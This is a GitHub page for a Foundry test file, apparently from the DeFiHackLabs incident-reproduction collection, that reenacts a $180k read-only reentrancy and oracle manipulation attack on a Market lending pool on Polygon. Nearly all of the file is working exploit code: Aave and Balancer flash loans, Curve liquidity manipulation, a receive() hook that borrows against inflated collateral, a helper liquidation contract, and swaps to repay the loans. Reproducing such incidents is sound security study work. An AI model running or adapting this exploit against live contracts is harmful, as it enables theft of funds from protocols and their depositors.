forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Market_exp.t.sol
290 lines (238 loc) · 13 KB
/
Market_exp.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
// Total Lost: $180k
// Attacker: 0x4206d62305d2815494dcdb759c4e32fca1d181a0
// Attack Contract: 0xEb4c67E5BE040068FA477a539341d6aeF081E4Eb
// Vulnerable Contract: 0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943
// Attack Tx: https://phalcon.blocksec.com/tx/polygon/0xb8efe839da0c89daa763f39f30577dc21937ae351c6f99336a0017e63d387558
// https://polygonscan.com/tx/0xb8efe839da0c89daa763f39f30577dc21937ae351c6f99336a0017e63d387558
// @Analysis
// https://quillaudits.medium.com/decoding-220k-read-only-reentrancy-exploit-quillaudits-30871d728ad5
// https://ambergroup.medium.com/mai-finances-oracle-manipulation-vulnerability-explained-55e4b5cc2b82
// https://twitter.com/statemindio/status/1585341766588190720
// https://twitter.com/BeosinAlert/status/1584551399941365763
contract Liquidator {
CErc20Interface private constant CErc20_mmooCurvestMATIC_MATIC_4 = CErc20Interface(0x570Bc2b7Ad1399237185A27e66AEA9CfFF5F3dB8);
ICErc20Delegate private constant CErc20Delegate_mMAI_4 = ICErc20Delegate(0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943);
BeefyVault private constant beefyVault = BeefyVault(0xE0570ddFca69E5E90d83Ea04bb33824D3BbE6a85);
IUnitroller private constant UniTroller = IUnitroller(0x627742AaFe82EB5129DD33D237FF318eF5F76CBC);
IERC20 private constant miMATIC = IERC20(0xa3Fa99A148fA48D14Ed51d610c367C61876997F1);
// https://www.youtube.com/watch?v=w-oVV0Ie3Fw&t=188s&ab_channel=SmartContractProgrammer
function liquidate(address main) external {
// use 70_420 miMATIC as repayAmount for liquidation
miMATIC.approve(address(CErc20Delegate_mMAI_4), type(uint256).max);
require(CErc20Delegate_mMAI_4.liquidateBorrow(main, 70_420 ether, address(CErc20_mmooCurvestMATIC_MATIC_4)) == 0, "liquidate failed");
// redeem beefyVault token (mooCurvestMATIC-MATIC)
CErc20_mmooCurvestMATIC_MATIC_4.redeem(CErc20_mmooCurvestMATIC_MATIC_4.balanceOf(address(this)));
// transfer all tokens to main attack contract
beefyVault.transfer(main, beefyVault.balanceOf(address(this)));
miMATIC.transfer(main, miMATIC.balanceOf(address(this)));
}
}
contract MarketExploitTest is Test {
WETH9 private constant WMATIC = WETH9(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);
IERC20 private constant stMATIC = IERC20(0x3A58a54C066FdC0f2D55FC9C89F0415C92eBf3C4);
ILendingPool private constant aaveLendingPool = ILendingPool(0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf);
IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
ICurvePool private constant vyperContract = ICurvePool(0xFb6FE7802bA9290ef8b00CA16Af4Bc26eb663a28);
IERC20 private constant stMATIC_f = IERC20(0xe7CEA2F6d7b120174BF3A9Bc98efaF1fF72C997d); // Curve LP token
BeefyVault private constant beefyVault = BeefyVault(0xE0570ddFca69E5E90d83Ea04bb33824D3BbE6a85); // mooCurvestMATIC-MATIC
IUnitroller private constant UniTroller = IUnitroller(0x627742AaFe82EB5129DD33D237FF318eF5F76CBC);
IRouter private constant router = IRouter(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);
Uni_Router_V3 private constant routerV3 = Uni_Router_V3(0xf5b509bB0909a69B1c207E495f687a596C168E12);
CErc20Interface private constant CErc20_mmooCurvestMATIC_MATIC_4 = CErc20Interface(0x570Bc2b7Ad1399237185A27e66AEA9CfFF5F3dB8);
ICErc20Delegate private constant CErc20Delegate_mMAI_4 = ICErc20Delegate(0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943);
IERC20 private constant miMATIC = IERC20(0xa3Fa99A148fA48D14Ed51d610c367C61876997F1); // MAI stablecoin
IERC20 private constant USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
function setUp() public {
vm.createSelectFork("https://polygon.llamarpc.com", 34716800); // fork Polygon at block 34716800
vm.deal(address(this), 0); // set address(this).balance to 0
}
function testHack() external {
_aaveFlashLoan();
console.log("\n Attacker's profit:");
console.log("stMATIC:", stMATIC.balanceOf(address(this)) / 1e18);
console.log("WMATIC:", WMATIC.balanceOf(address(this)) / 1e18);
}
function _aaveFlashLoan() internal {
// flashloan WMATIC from Aave
address[] memory assets = new address[](1);
assets[0] = address(WMATIC);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 15_419_963 ether;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
aaveLendingPool.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
}
function executeOperation( // Aave callback
address[] memory assets,
uint256[] memory amounts,
uint256[] memory premiums,
address initiator,
bytes memory params
) external returns (bool) {
_balancerFlashLoan();
WMATIC.approve(address(aaveLendingPool), type(uint256).max); // repay
return true;
}
function _balancerFlashLoan() internal {
// flashloan WMATIC and stMATIC from Balancer
address[] memory tokens = new address[](2);
tokens[0] = address(WMATIC);
tokens[1] = address(stMATIC);
uint256[] memory amountsBalancer = new uint256[](2);
amountsBalancer[0] = 34_580_036 ether; // + 15_419_963 Aave -> 50M debt
amountsBalancer[1] = 19_664_260 ether;
balancerVault.flashLoan(address(this), tokens, amountsBalancer, "");
}
function receiveFlashLoan( // Balancer callback
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
_exploit();
_liquidate();
_sellAll();
// repay
stMATIC.transfer(address(balancerVault), 19_664_260 ether);
WMATIC.transfer(address(balancerVault), 34_580_036 ether);
}
function _exploit() internal {
// add liquidity to WMATIC/stMATIC Curve pool, receive Curve LP tokens stMATIC_f
WMATIC.approve(address(vyperContract), type(uint256).max);
stMATIC.approve(address(vyperContract), type(uint256).max);
vyperContract.add_liquidity([uint256(19_664_260 ether), uint256(49_999_999 ether)], 0); // mint 34_640_026.55 stMATIC_f
// mint part of Curve LP tokens as collateral to Market via Beefy Vault
address[] memory market = new address[](1);
market[0] = address(CErc20_mmooCurvestMATIC_MATIC_4);
UniTroller.enterMarkets(market);
// deposit 90_000 stMATIC_f and mint 85901 mooCurvestMATIC-MATIC (BeefyVault token)
stMATIC_f.approve(address(beefyVault), type(uint256).max);
beefyVault.deposit(90_000 ether);
// use 85_901 mooCurvestMATIC-MATIC to mint 429_505 Ctokens
beefyVault.approve(address(CErc20_mmooCurvestMATIC_MATIC_4), type(uint256).max);
CErc20_mmooCurvestMATIC_MATIC_4.mint(beefyVault.balanceOf(address(this)));
// remove liquidity from WMATIC/stMATIC Curve pool, receive WMATIC, stMATIC, miMATIC. This step increases collateral price
vyperContract.remove_liquidity(stMATIC_f.balanceOf(address(this)), [uint256(0), uint256(0)], true); // burn stMATIC_f, trigger receive()
}
function _liquidate() internal {
Liquidator liquidator = new Liquidator(); // wouldn't work if put in storage
miMATIC.transfer(address(liquidator), miMATIC.balanceOf(address(this))); // use MAI to liquidate collateral
liquidator.liquidate(address(this));
// take back stMATIC_f
beefyVault.withdrawAll();
// remove liquidity from Curve pool 2nd time
vyperContract.remove_liquidity(stMATIC_f.balanceOf(address(this)), [uint256(0), uint256(0)], true); // burn stMATIC_f, trigger receive()
}
receive() external payable {
// Borrow MAI with expensive collateral
// (,uint256 amount,) = UniTroller.getAccountLiquidity(address(this)); 191
CErc20Delegate_mMAI_4.borrow(250_000 ether); // 250_000 miMATIC
}
function _sellAll() internal {
// wrap all native MATIC (from remove_liquidity) to WMATIC
WMATIC.deposit{value: address(this).balance}();
// swap all miMATIC for WMATIC to repay Aave
miMATIC.approve(address(router), type(uint256).max);
address [] memory path = new address[](3);
path[0] = address(miMATIC);
path[1] = address(USDC);
path[2] = address(WMATIC);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(miMATIC.balanceOf(address(this)), 0, path, address(this), type(uint256).max);
// swap some WMATIC for stMATIC to repay Balancer
WMATIC.approve(address(routerV3), type(uint256).max);
Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
tokenIn: address(WMATIC),
tokenOut: address(stMATIC),
deadline: type(uint256).max,
recipient: address(this),
amountIn: 1355 ether,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
routerV3.exactInputSingle(_Params);
}
}
/* -------------------- Interface -------------------- */
interface CErc20Interface {
function mint(uint256 mintAmount) external returns (uint256);
function balanceOf(address account) external view returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function redeem(uint256 amount) external;
function withdrawAll() external;
function transfer(address to, uint256 amount) external returns (bool);
}
interface ICErc20Delegate {
function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
}
interface BeefyVault {
function deposit(uint256 _amount) external;
function withdraw(uint256 _amount) external;
function withdrawAll() external;
function balance() external view returns (uint256);
function token() external view returns (address);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IUnitroller {
function enterMarkets(address[] memory cTokens) external returns (uint256[] memory);
function exitMarket(address cTokenAddress) external returns (uint256);
function cTokensByUnderlying(address) external view returns (address);
function getAccountLiquidity(address account) external view returns (uint256, uint256, uint256);
}
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface WETH9 {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function approve(address guy, uint wad) external returns (bool);
function withdraw(uint wad) external;
function balanceOf(address) external view returns (uint256);
}
interface ILendingPool {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
interface IBalancerVault {
function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData) external;
}
interface ICurvePool {
function remove_liquidity(uint256 _amount, uint256[2] calldata min_amounts, bool donate_dust) external;
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external returns (uint256);
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface Uni_Router_V3 {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
function exactInputSingle(ExactInputSingleParams memory params) external payable returns (uint256 amountOut);
}